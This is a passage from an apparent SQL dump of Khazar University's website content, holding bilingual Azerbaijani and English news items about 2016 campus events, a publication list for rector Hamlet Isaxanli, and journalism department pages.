Tuncay Ergene of\r\nHacettepe University; Professor Mehmet Eskin of Adnan Menderes University;\r\nProfessor Ceylan Das, Founder of Gestalt Association; Associate Professor Selim\r\nGunuc of Yuzuncu il University; and Associate Professor Ramin Aliyev of Hasan\r\nKalyoncu University. Topics discussed during the conference included test\r\nanxiety, internet addiction, stages of psychological consultation,\r\nhomosexuality, and invincibility. Participants had the opportunity to gain new\r\nknowledge in the field of psychology, learn from the experience of experts, see\r\nnew perspectives, make comparisons, and network with students and instructors\r\nfrom various universities. </p>\r\n<p>At the end of the conference, every participant was awarded\r\na certificate. </p>\r\n<p>&nbsp;</p>'),(1609,997,'en','Training Seminar for Khazar University Staff Members','On April 21, a training seminar was held for Khazar University staff members working in direct contact with students as part of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nApril 21, a training seminar was held for Khazar University staff members\r\nworking in direct contact with students as part of the “Establishment of a\r\nFoundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\n(ESFIDIP) TEMPUS project. The trainer was Rima Mammadova, Project Coordinator.\r\nThe training covered disabilities and related legislation, working with disabled\r\npeople and inclusive education. R. Mammadova also informed the participants\r\nabout the Center for Students with Disabilities created at the university as\r\npart of the project. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">During\r\nthe event, discussion was held and participants’ questions were answered.&nbsp;</p>'),(1610,998,'az','“Dünya” məktəbində görüş keçirildi','2016-cı il aprelin 21-də “Dünya” məktəbində 11-ci sinif şagirdləri ilə Xəzər Universiteti rəhbərliyinin görüşü keçirildi. Məktəbin direktoru Mərufə xanım Mədətli qonaqları səmimi qarşılayaraq, şagirdlərə təqdim etdi və şagirdlərin Xəzər Universitetini yaxşı tanıdığını bildirdi.','<p>&nbsp;2016-cı il aprelin\r\n21-də “Dünya” məktəbində 11-ci sinif şagirdləri ilə Xəzər Universiteti rəhbərliyinin\r\ngörüşü keçirildi. Məktəbin direktoru Mərufə xanım\r\nMədətli qonaqları səmimi\r\nqarşılayaraq, şagirdlərə təqdim etdi və şagirdlərin Xəzər Universitetini yaxşı\r\ntanıdığını bildirdi.</p>\r\n<p>Sonra sözü universitetin rektoru Hassan Niknafsa\r\nverdi. Şagirdlərlə görüşdə Akademik işlər üzrə prorektor professor Məhəmməd\r\nNuriyev, Təhsil fakültəsinin dekanı Elza Səmədova, Humanitar və sosial elmlər\r\nfakültəsinin dekanı Cabir Xəlilov, Beynəlxalq münasibətlər və siyasi elm\r\ndepartamentinin müdiri Muxtar Hacızadə və İctimai əlaqələr və media üzrə\r\ndirektor Əlövsət Əmirbəyli, universitetin tələbəsi Aslan İsaxanlı və digərləri\r\niştirak etdilər. </p>\r\n<p>Universitetin rəhbərliyi və tələbələr şagirdləri\r\nmaraqlandıran bütün suallara cavab verdilər. Sonda məktəbin təsisçisi Nailəxanım\r\nİsayeva və məktəbin direktoru Mərufə Mədətli maraqlı görüş üçün məktəbin\r\nkollektivi adından universitet rəhbərliyinə təşəkkür etdilər.&nbsp;</p>'),(1611,998,'en','Meeting in Dunya School ','On April 21, 2016, a meeting was held with 11th grade students at Dunya School with administrators of Khazar University. Marufa Madatli, Director of the school, welcomed the guests and introduced them to the students, whom she said knew Khazar University well.','<p>On April 21, 2016,\r\na meeting was held with 11<sup>th</sup> grade students at Dunya School with\r\nadministrators of Khazar University. Marufa Madatli, Director of the school,\r\nwelcomed the guests and introduced them to the students, whom she said knew\r\nKhazar University well. </p>\r\n<p>Then the floor was\r\ngiven to Dr. Hasan Niknafs, President of Khazar. Other participants in the\r\nmeeting included Professor Mahammad Nuriyev, Vice President for Academic\r\nAffairs; Elza Semedova, Dean of the School of Education; Jabir Khalilov, Dean\r\nof the School of Humanities and Social Sciences; Dr. Mukhtar Hajizada, Chair of\r\nthe Department of International Relations and Political Science; and Alovsat\r\nAmirbeyli, Director of Public Relations and Media; as well as Aslan Isakhanli,\r\nKhazar student. </p>\r\n<p>The delegation\r\nfrom Khazar answered all the students’ questions. Then Nailakhanim Isayeva,\r\nfounder of Dunya School, and Marufa Madatli, Director, thanked the guests for\r\ntheir visit.&nbsp;</p>'),(1613,999,'az','Polşa, İran və İraqın universitet və təhsil şirkətləri ilə görüş keçirildi','2016-cı il aprelin 22-də Xəzər Universiteti Polşa, İran və İraq universitetləri və təhsil şirkətlərinin nümayəndələri ilə universitetin “Neftçilər” kampusunda görüş keçirdi. Tədbir Beynəlxalq Əlaqələr Şöbəsi və İctimaiyyətlə əlaqə və media şöbəsi tərəfindən təşkil olunmuşdu.','<p>2016-cı il aprelin 22-də Xəzər Universiteti Polşa,\r\nİran və İraq universitetləri və təhsil şirkətlərinin nümayəndələri ilə\r\nuniversitetin “Neftçilər” kampusunda görüş keçirdi. Tədbir Beynəlxalq Əlaqələr\r\nŞöbəsi və İctimaiyyətlə əlaqə və media şöbəsi tərəfindən təşkil olunmuşdu.</p>\r\n<p>Universitetin rektoru Dr. Hassan Niknafs, akademik\r\nişlər üzrə prorektor professor Məhəmməd Nuriyev və Beynəlxalq əlaqələr şöbəsinin\r\ndirektor assistenti Günay Fərzəliyeva iştirakçılar arasında idi. Qonaqlar\r\nVarşava İqtisadiyyat Məktəbi, “Rony” Təhsil Xidmətləri Şirkəti, Universal Təhsil,\r\n“Light (Ziya)” Təhsil Qrupu və “Oskar” Təhsil və Məsləhət şirkətlərinin nümayəndələri\r\nidilər. </p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs\r\nqonaqları salamladı və universitet haqqında qısa məlumat verdi. Daha sonra Beynəlxalq\r\nəlaqələr şöbəsinin direktor assistenti Günay Fərzəliyeva Xəzər Universiteti,\r\nfakültələr və proqramlar, Azərbaycan daxilində və xaricində olan universitetlər\r\narasında reytinqi və dünyanın bir çox universitetləri ilə olan beynəlxalq əməkdaşlıqlar\r\nvə əlaqələr haqqında təqdimat etdi. İştirakçı universitet və şirkətlərin nümayəndələri\r\ndə qısa təqdimat keçirdilər.</p>\r\n<p>Tədbir mümkün əməkdaşlıqların müzakirəsi ilə sona\r\nçatdı.</p>'),(1614,1000,'az','Polşa, İran və İraqın universitet və təhsil şirkətləri ilə görüş keçirildi','2016-cı il aprelin 22-də Xəzər Universiteti Polşa, İran və İraq universitetləri və təhsil şirkətlərinin nümayəndələri ilə universitetin “Neftçilər” kampusunda görüş keçirdi. Tədbir “Akademi Group” Xaricdə Təhsil şirkətinin təşkilatçılığı və Beynəlxalq Əlaqələr Şöbəsi və İctimaiyyətlə əlaqə və media şöbəsinin dəstəyi ilə həyata keçirildi.','<p>2016-cı il aprelin 22-də Xəzər Universiteti Polşa,\r\nİran və İraq universitetləri və təhsil şirkətlərinin nümayəndələri ilə\r\nuniversitetin “Neftçilər” kampusunda görüş keçirdi. Tədbir “Akademi Group”\r\nXaricdə Təhsil şirkətinin təşkilatçılığı və Beynəlxalq Əlaqələr Şöbəsi və\r\nİctimaiyyətlə əlaqə və media şöbəsinin dəstəyi ilə həyata keçirildi. </p>\r\n<p>Universitetin rektoru Dr. Hassan Niknafs, akademik\r\nişlər üzrə prorektor professor Məhəmməd Nuriyev və Beynəlxalq əlaqələr şöbəsinin\r\ndirektor assistenti Günay Fərzəliyeva iştirakçılar arasında idi. Qonaqlar\r\nVarşava İqtisadiyyat Məktəbi, “Rony” Təhsil Xidmətləri Şirkəti, Universal Təhsil,\r\n“Light (Ziya)” Təhsil Qrupu və “Oskar” Təhsil və Məsləhət şirkətlərinin nümayəndələri\r\nidilər. </p>\r\n<p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs\r\nqonaqları salamladı və universitet haqqında qısa məlumat verdi. Daha sonra Beynəlxalq\r\nəlaqələr şöbəsinin direktor assistenti Günay Fərzəliyeva Xəzər Universiteti,\r\nfakültələr və proqramlar, Azərbaycan daxilində və xaricində olan universitetlər\r\narasında reytinqi və dünyanın bir çox universitetləri ilə olan beynəlxalq əməkdaşlıqlar\r\nvə əlaqələr haqqında təqdimat etdi. İştirakçı universitet və şirkətlərin nümayəndələri\r\ndə qısa təqdimat keçirdilər.</p>\r\n<p>Tədbir mümkün əməkdaşlıqların müzakirəsi ilə sona\r\nçatdı.</p>'),(1615,1000,'en','Meeting with Universities and Education Companies from Poland, Iran, and Iraq','On April 22, 2016, Khazar University hosted the representatives of universities and education companies from Poland, Iran, and Iraq at its Neftchilar campus. The event was organized by Akademi Group Study Abroad company in cooperation with the International Affairs Office and the PR and Media Center.\r\n\r\n','<p>On April 22, 2016, Khazar University\r\nhosted the representatives of universities and education companies from Poland,\r\nIran, and Iraq at its Neftchilar campus. The event was organized by Akademi\r\nGroup Study Abroad company in cooperation with the International Affairs Office\r\nand the PR and Media Center.</p>\r\n<p>&nbsp;</p>\r\n<p>Participants of the event included Dr.\r\nHassan Niknafs, President; Prof. Mahammad Nuriyev, Vice-President for Academic\r\nAffairs; and Gunay Farzaliyeva, Assistant to the Director of the International\r\nAffairs Office. Guests included representatives of the Warsaw School of\r\nEconomics, Rony Company for Educational Services, Universal Education, Light\r\nEducation Group, and Oskar Education and Consulting.</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Hassan Niknafs, the President of\r\nKhazar University, opened the event with a welcome speech and briefly\r\nintroduced Khazar University to the guests. Gunay Farzaliyeva, Assistant to the\r\nDirector of the International Affairs Office, gave a presentation about Khazar\r\nUniversity, its schools and programs, its rankings among universities inside\r\nand outside of Azerbaijan, and its international partnerships and cooperation\r\nwith other universities around the world. Representatives from each of the\r\nparticipating universities and companies also delivered presentations.</p>\r\n<p>&nbsp;</p>\r\n<p>The event concluded with a discussion of\r\npossible future cooperation.</p>'),(1632,1009,'az','Karyera Mərkəzi növbəti layihəni həyata keçirdi','2016-cı il aprelin 27-də Xəzər Universiteti Karyera Mərkəzinin təşkilatçılığı ilə Gənclərin liderlik potensialının artırılması (Activating the leadership potential of young people – AEISEC) layihəsi həyata keçirildi.','<p>2016-cı il aprelin 27-də Xəzər Universiteti Karyera Mərkəzinin\r\ntəşkilatçılığı ilə Gənclərin liderlik potensialının artırılması (<em>Activating\r\nthe leadership potential of young people – AEISEC</em>) layihəsi həyata\r\nkeçirildi. Layihədə “Global Citizen” – xaricdə könüllülük proqramına qoşulmanın\r\nyolları haqda geniş məlumat verildi.</p>\r\n<p>Sonda tələbələri maraqlandıran suallar\r\ncavablandırıldı.</p>'),(1616,1001,'en',' Professor Hamlet Isaxanli',' Professor Hamlet Isaxanli','<div><br></div><div><table cellspacing=\"5\" cellpadding=\"5\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td colspan=\"2\" width=\"948\"><p><strong><a href=\"http://www.khazar.org/files/Hamlet_Isaxanli_CV.doc\">Hamlet İsaxanlı</a></strong></p><p><strong><br></strong></p></td></tr><tr><td width=\"464\"><p><strong>Archaeological Poem or “Field Diary of the Archeologist”</strong></p></td><td width=\"484\"><p>Khazar View. -&nbsp; 2009 .– September&nbsp; 15&nbsp; (No. 273).–&nbsp; p. 16– 17</p><p>Also // İsmayilzade G. From the Field Diary of the Archeologist (preface) - Baku: Khazar University Press, 2009.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"464\"><p><strong>Interview to “Azadlig” radio.&nbsp;&nbsp;</strong>On January 22 Hamlet Isaxanli, rector of Khazar University gave an interview to “Azadlig” radio on education law</p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; February 15 No. 263).– p. 4</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>History telling the stories //&nbsp;</strong>Story of Alampashali Z . Gachag Isakhan.</p></td><td width=\"484\"><p>Baku: Khazar University Press, 2009. – s. 3– 14.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>The International Symposium on “Modern Development Trends and Turkish World” (</strong>instead of preface)</p></td><td width=\"484\"><p>Baku: Khazar University Press, 2009.<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>“I take more offence at people”</strong></p></td><td width=\"484\"><p>The interview has been obtained by<strong>&nbsp;</strong>N. Javadlı // Bizim yol (Our Way) .– 2009.– December&nbsp; 03-05&nbsp; (No. 244–246).– p.7 .<strong>&nbsp;</strong></p><p><a href=\"http://www.bizimyol.az/index.php?mod=news&amp;act=view&amp;nid=31815\">http://www.bizimyol.az/index.php?mod=news&amp;act=view&amp;nid=31815</a>&nbsp;&nbsp;&gt; (05.12.2009)</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;(<strong>İbn Khaldun: Great Islamic Philosopher and Sociologist</strong>)</p></td><td width=\"484\"><p>&nbsp;Khazar View.–&nbsp; 2009.–&nbsp; January 31 (No. 262).–&nbsp; p.4</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(Islam and Modernization)</strong></p></td><td width=\"484\"><p>&nbsp;Khazar View.–&nbsp; 2009.–&nbsp; January 31 (No.262).–&nbsp; p.– 4.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;(<strong>Shams Tebrizi and Movlana Jalaleddin Rumi: Myth and Reality)</strong></p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; February 15 (No.263).–&nbsp; p.16– 33.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art ”</strong>&nbsp;<strong>(Mammed Amin Rasulzade– the revival of Azerbaijan)</strong></p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; February 15 (No. 263).–&nbsp; p.4– 6.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(The Issues of the Ancient Turkish History</strong>)</p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; February 15 (No. 263).–&nbsp; p.7.</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(Asian Aspect of the Khazars’ Early History)</strong></p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; February 15 (No. 263).–&nbsp; p.7.</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;(<strong>Literary Language of Karakhanlilar Period and Oghuz Turkish</strong>)</p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; April 30 (No. 268).–&nbsp; p.7.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(The Caucasus Policy of Ottoman Empire during World War I)</strong></p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; May 15 (No 269).–&nbsp; p.6– 7.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(Shumer is an Ancient Culture of Humanity )</strong></p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.–&nbsp; November 15 (No. 277).–&nbsp; p.– 4.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(Ancient Cultures and Modern Period</strong>)</p></td><td width=\"484\"><p>Khazar View.–&nbsp; 2009.– November 15 (No. 277).–&nbsp; p.– 5.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Meeting of “<strong>Assembly of Science and Art”</strong>&nbsp;<strong>(Islam and Modernization in terms of Global Prospects</strong>)</p></td><td width=\"484\"><p>Khazar View. – 2009.–&nbsp; November 15 (No.277).–&nbsp; p.– 5.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Hamlet Isaxanli</strong><strong>&nbsp;does not believe in Fogts’ success. Hamlet Isaxanli: ”Fogts does not&nbsp; put much effort as a chief coach of the Azerbaijani National football team”&nbsp;</strong>(Interview with Hamlet Isaxanli)</p></td><td width=\"484\"><p>Azadlıg. – 2009. – February 7 (No. 28). – p. 4.</p><p><strong>Also&nbsp;</strong>// Khazar View. –&nbsp; 2009. – March 31 (No. 266). – p. 12– 13.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Interview with Hamlet Isaxanli</strong></p></td><td width=\"484\"><p>Nefertiti journal. – 2008. – July-August (No. 5). – p. 82.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Play ashug, play master, it is time to play&nbsp;</strong>/ Ashug World of Ashug<strong>&nbsp;</strong>Aslan Kosalı.</p></td><td width=\"484\"><p>Baku: Avropa (Europe) Publishing House. – 2009. – p.146–149.&nbsp;<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Japan</strong><strong>&nbsp;is a country where beauty, miracle and care unite&nbsp;</strong>(Interview with Hamlet Isaxanli)</p></td><td width=\"484\"><p>The 525<sup>th</sup>&nbsp;newspaper. – 2009. – June 10-11 (No. 104-105). – p. 4.</p><p><strong>Also&nbsp;</strong>// Khazar View. –&nbsp; 2009. – October 31 (No. 276). –&nbsp; p. 10– 16.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Poems&nbsp;</strong>/ in Chinese language.</p></td><td width=\"484\"><p>Central Compilation Translation Press, 2009. – p.141</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>One of the live issues of the time – What does good school mean?&nbsp;</strong>/ Hamlet Isaxanli: It is possible to bring up the pupil as personality without giving a mark; Taste development is important as character development at modern school; Vast material resources are required for development of school</p></td><td width=\"484\"><p>Education and time. –&nbsp; 2009. – December 18&nbsp; (No. 23). –&nbsp; p. 1.<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Pilgrimage.</strong>&nbsp;Poems and epic-lyric poem.</p></td><td width=\"484\"><p>Baku: Khazar University Press, 2009. – 148 s. –ISBN 9789952200492</p></td></tr><tr><td width=\"464\"><p><strong>On Problems of Higher Education in Transition Country</strong></p></td><td width=\"484\"><p>Proceedings of the International Symposium on Engineering and Architectural Sciences of Balkan, Caucasus and Turkic Republics. – Isparta: Suleyman Demirel University. – October 22-24, 2009. – vol.1, 2.<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>University Rector: Azerbaijan\'s Education System has Improved Far Less Than Expected</strong></p></td><td width=\"484\"><p>Khazar View. Az interviews the rector of Khazar University in Baku, Professor Hamlet Isaxanli, on the current state of education in Azerbaijan&nbsp;&nbsp;<a href=\"http://news.az/articles/1301\">http://news.az/articles/1301</a>&nbsp;&gt;(02.11.2009)</p><p>……………………………………………………………………………………</p></td></tr><tr><td width=\"464\"><p><strong>Hamlet Isaxanli</strong><strong>:&nbsp; “Every university should have a certain university culture”</strong>.</p></td><td width=\"484\"><p>Day.Az .- January 30, 2009.&nbsp;&nbsp; &nbsp;<a href=\"http://www.day.az/news/society/145826.html\">http://www.day.az/news/society/145826.html</a></p><p><strong>Also&nbsp;</strong>// Khazar View. –&nbsp; 2009. – March 1 (No.266). – p. 11.</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>Rector of “Khazar” University:&nbsp;&nbsp; “Most of the students are very talented and surpass their teachers in many respects”<strong>&nbsp;</strong></p></td><td width=\"484\"><p>Day.Az’s interview with prof., rector of “Khazar” University, June 12, 2009.</p><p><strong><a href=\"http://www.day.az/news/society/160926.html\">http://www.day.az/news/society/160926.html</a></strong></p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>The Azerbaijani love poetry: 2nd book /&nbsp;</strong>compiled by H. Isaxanli.<strong>&nbsp;</strong></p></td><td width=\"484\"><p>Baku: Khazar University Press, 2009. – p. 227. – ISBN 978-9952-20-050-8</p></td></tr><tr><td width=\"464\"><p><strong>The Azerbaijani love poetry: 3<sup>rd</sup>&nbsp;book /&nbsp;</strong>compiled by H. Isaxanli.<strong>&nbsp;</strong></p></td><td width=\"484\"><p>Baku: Khazar University Press, 2009. – p.227&nbsp; – ISBN 978-9952-20-051-5</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Alempashalı Z . Gachag Isakhan Story. /&nbsp;</strong>editor H. Isaxanli.<strong>&nbsp;</strong></p></td><td width=\"484\"><p>Baku: Khazar University Press, 2009.<strong>&nbsp;</strong></p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>The Azerbaijanis in Amasia and Istanbul</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli – Assembly of Science and Art 21-30. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>The Caucasus Policy of Ottoman Empire during World War I</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p></td></tr><tr><td width=\"464\"><p><strong>F.Nietzsche- the most hot-tempered Philosopher of the History</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli - Assembly of Science and Art 21-30. – Baku: Khazar University Press</p></td></tr><tr><td width=\"464\"><p><strong>Asian Aspect of the Khazars’ Early History</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>İbn Khaldun: Great Islamic Philosopher and Sociologist</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Islam and Modernization</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli – Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Literary Language of Karakhanlilar Period and Oghuz Turkish</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p></td></tr><tr><td width=\"464\"><p><strong>The Issues of the Ancient Turkish History</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli – Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Mammed Amin Rasulzade– the revival of Azerbaijan</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli – Assembly of Science and Art 21– 30. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Sigmund Freud</strong>&nbsp;<strong>– the father of psychoanalysis</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli - Assembly of Science and Art 21-30. – Baku: Khazar University Publishing House, 2010</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Shumer is an Ancient Culture of Humanity</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 31– 40. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p><strong>Ancient Cultures and Modern Period</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 31– 40. – Baku: Khazar University Press</p></td></tr><tr><td width=\"464\"><p><strong>Comparison of Islam and Western Culture</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 31– 40. – Baku: Khazar University Press</p></td></tr><tr><td width=\"464\"><p><strong>Islam and Modernization in terms of Global Prospects</strong></p></td><td width=\"484\"><p>Hamlet Isaxanli –&nbsp; Assembly of Science and Art 31– 40. – Baku: Khazar University Press</p><p>&nbsp;</p></td></tr><tr><td width=\"464\"><p>“Din mənim üçün mədəniyyətdir, tarixdir, kimlikdir”<br><br><strong>&nbsp;</strong></p></td><td width=\"484\"><p>“Cəmiyyət və Din” qəzeti. № 49 (136), 28 dekabr-11 yanvar 2012-ci il, səh. 5 (birinci). № 01 (137), 12-18 yanvar 2012-ci il, səh. 5 (ikinci).</p></td></tr></tbody></table>  <br></div>'),(962,622,'az','Proqramlar','Proqramlar','<p><strong>Jurnalistika departamenti</strong></p><p>Jurnalistika Departamenti həm&nbsp;bakalavr və həm də&nbsp;magistr dərəcəsi üçün proqram&nbsp;təklif edir.</p><p><strong><br></strong></p><p><strong>Bakalavr</strong></p><p>Bakalavr pilləsini bitirmək üçün 264 (ECTS) kredit tələb olunur. Tələbənin qiyməti 60-dan yuxarı olmalıdır.</p><p>Bizim dörd illik bakalavr proqramı üç seçimdən&nbsp;ibarətdir: ümumi jurnalistika; jurnalistikada ixtisaslaşma; jurnalistikada multiplatform ixtisaslaşma.&nbsp;</p><p><strong><br></strong></p><p><strong>Magistr</strong></p><p>Bu iki illik proqram&nbsp;nəzəriyyəyə&nbsp;girişi,&nbsp;ədəbiyyat və&nbsp;tədqiqat metodologiyalarını&nbsp;hərtərəfli araşdıra&nbsp;bilən   tələbə və nisbətən təcrübəli&nbsp;jurnalistlər üçün nəzərdə tutulmuşdur.</p>'),(963,623,'az','Sillabuslar','Sillabuslar',''),(964,623,'en','Syllabus','Syllabus',''),(965,624,'az','Elmi-Tədqiqat','Elmi-Tədqiqat','<p>Çalışan jurnalistlərin formalaşması üçün Jurnalistika departamenti son illərdə bu&nbsp;sahələrində tədqiqat profil inkişaf etdirir: qloballaşan  dünya və KİV, e-media, mühakimənin&nbsp;təhlili,&nbsp;mədəniyyət və texnologiya, jurnalistikanın sosiologiyası, səhiyyə və elm hesabat, iqtisadiyyat (neft) və jurnalistika, uşaqlar və media məsələləri. Bu tədqiqat elmi jurnallarda və konfranslarda, ictimai söhbətlərdə və məşhur mətbuat vasitələrində yayılır.&nbsp;</p><p>Departamentin&nbsp;jurnalistika sahəsində&nbsp;araşdırma aparmaq istəyən,&nbsp;kritik, elmi tədqiqat baxımından jurnalistikanın öyrənilməsinə,&nbsp;jurnalistika ilə bağlı orijinal mövzuda dissertasiyasının yazılmasına&nbsp;maraqlı olan&nbsp;tələbələri&nbsp;üçün yeni magistratura&nbsp;proqram nəzərdə tutulmuşdur. Jurnalisyika sahəsində magistratura&nbsp;jurnalist&nbsp;olaraq fəaliyyət göstərənlər üçün&nbsp;üçün nəzərdə tutulmayıb.</p>'),(966,624,'en','Research','Research','<p>Long renowned for its formation of working journalists, the Department of Journalism has in recent years developed a research profile in the areas of: globalizing world and Mass Media, e-media, discourse analysis, issues of representation, culture and technology, sociology of journalism, health and science reporting, economy (oil) and journalism, and children and media. This research is being disseminated through academic journals and conferences, public talks and the popular press.</p><p>For students wishing to conduct research in the Department, our new MA in journalism studies program is designed for those interested in studying journalism from a critical, scholarly research perspective, culminating in the writing of a thesis on an original topic pertaining to journalism as an institution and a practice. The MA is <em style=\"text-align:justify\">not&nbsp;</em>designed for those interested in becoming journalists.</p>'),(967,625,'az','Nəşrlər','Nəşrlər','<p><strong>Nəşrlər</strong></p><p></p><ol style=\"font-size:large\"><li>Ənsərov V. Sovet İttifaqı dövründə Azərbaycanda audio-visual yayınçılıq və hesabat konsepsiyası (Türkcə). ‘Ataturk Iletishim Dergisi’. Ataturk Üniversitesi/ İletişim Fakültesi., I. –2011.</li><li>Ənsərov V. Media İmperializm və ABŞ-ın modeli (Azərbaycan dilində). \"Dirçəliş XXI əsr\". Azərbaycan Dövlətçilik və Beynəlxalq Münasibətlər İnstitutu ., B. –2008.</li><li>Ənsərov V. Beynəlxalq informasiyada universallıq Versatility (Azərbaycan dilində ). ‘Elmi əsərlər jurnalı’. AMEA, Fəlsəfə, Sosiologiya və Hüquq İnstitutu ., B. - 2009.</li><li>Mammadov J. Milli, irqi və dini problemlər və jurnalistlər obyektivliyi (İngiliscə). Avropada Tədqiqat və öyrənilmə: Cənubi Qafqazda təhsil mühitinin zənginləşdirilməsi. ATEI of Thessaloniki. tezis. –2010. səh. 83-90.</li></ol><p></p>'),(968,625,'en','Publications','Publications','<p><strong>Publications</strong><strong></strong></p><p>1. Ansarov V. Audio-Visual Broadcasting and Conception of Reporting in Azerbaijan during the Soviet Union times (<em>in Turkish</em>). ‘Ataturk Iletishim Dergisi’. Ataturk University/ School of Communication., Ist. –2011.</p><p>2. Ansarov V. Media Imperialism and the pattern of the US (<em>in Azeri</em>). ‘Dirchalish XXI Asr’. Institute of Azerbaijan State Building and International Relations., B. –2008.</p><p>3. Ansarov V. Versatility in International Information (<em>in Azeri</em>). ‘Elmi Asarlar Jurnali’. ANAS, Institute of Philosophy, Sociology and Law., B. - 2009.</p><p>4. Mammadov J. National, Racial and Religious Problems and Objectivity of Journalists (<em>in English</em>). Research and Study in Europe enriching educational environment in S. Caucasus. ATEI of Thessaloniki. Thes. –2010. pp. 83-90.</p>'),(969,626,'en','Department  and Staff','Department  and Staff','<p><img src=\"http://www.khazar.org/files/image/CABIR%20KHALILOV.jpg\" style=\"width:150px;height:174px;margin:7px;float:left\"></p><p><a href=\"http://www.khazar.org/files/social/1/Jabir%20K%20CV.pdf\"><strong>Jabir Z.&nbsp;Khalilov</strong></a><em> -&nbsp;</em><strong>(S.J.D.,&nbsp;Associate Professor) </strong></p><p>Ph.D. in Juridical Sciences (Baku State University, Azerbaijan)</p><p><strong></strong>Head of the department</p><p><strong>Contacts</strong>: (+994&nbsp;12)&nbsp;421 79 16&nbsp;(258)</p><p><strong>E-mail</strong>: <a href=\"mailto:cxalilov[at]khazar.org\">cxalilov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><a href=\"http://www.khazar.org/files/social/1/SV-Alizade%20A.pdf\"></a><img 